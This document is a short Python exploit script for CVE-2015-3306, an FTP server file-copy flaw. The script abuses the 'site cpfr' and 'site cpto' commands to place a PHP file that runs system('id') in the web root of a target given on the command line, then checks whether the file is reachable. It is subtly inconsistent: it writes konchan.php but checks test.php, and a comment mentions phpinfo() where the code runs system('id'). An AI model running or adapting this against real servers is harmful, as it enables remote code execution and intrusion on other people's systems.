CVE-2015-3306

#!/usr/bin/env python3

import sys

import socket

import requests

def exploit(client, target):

    client.connect((target,21)) # Connecting to the target server

    banner = client.recv(74)

    print(banner.decode())

    client.send(b'site cpfr /proc/self/cmdline\r\n')

    print(client.recv(1024).decode())

    client.send(b'site cpto /tmp/<?php system("id"); ?>\r\n') # phpinfo() is just a PoC.

    print(client.recv(1024).decode())

    client.send(b'site cpfr /tmp/<?php system("id"); ?>\r\n')

    print(client.recv(1024).decode())

    client.send(b'site cpto /var/www/html/konchan.php\r\n')

    print(client.recv(1024).decode())

    client.close()

    print('Exploit Completed')

def check(url):

    req = requests.get(url) # Requesting the written PoC php file via HTTP

    if req.status_code == 200:

        print('[+] File Written Successfully')

        print(f'[+] Go to : {url}')

    else:

        print('[!] Something Went Wrong')

        print('[!] Directory might not be writable')

def main():

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    target = sys.argv[1]

    exploit(client, target)

    url = 'http://' + target + '/test.php'

    check(url)

if __name__ == '__main__':

    main()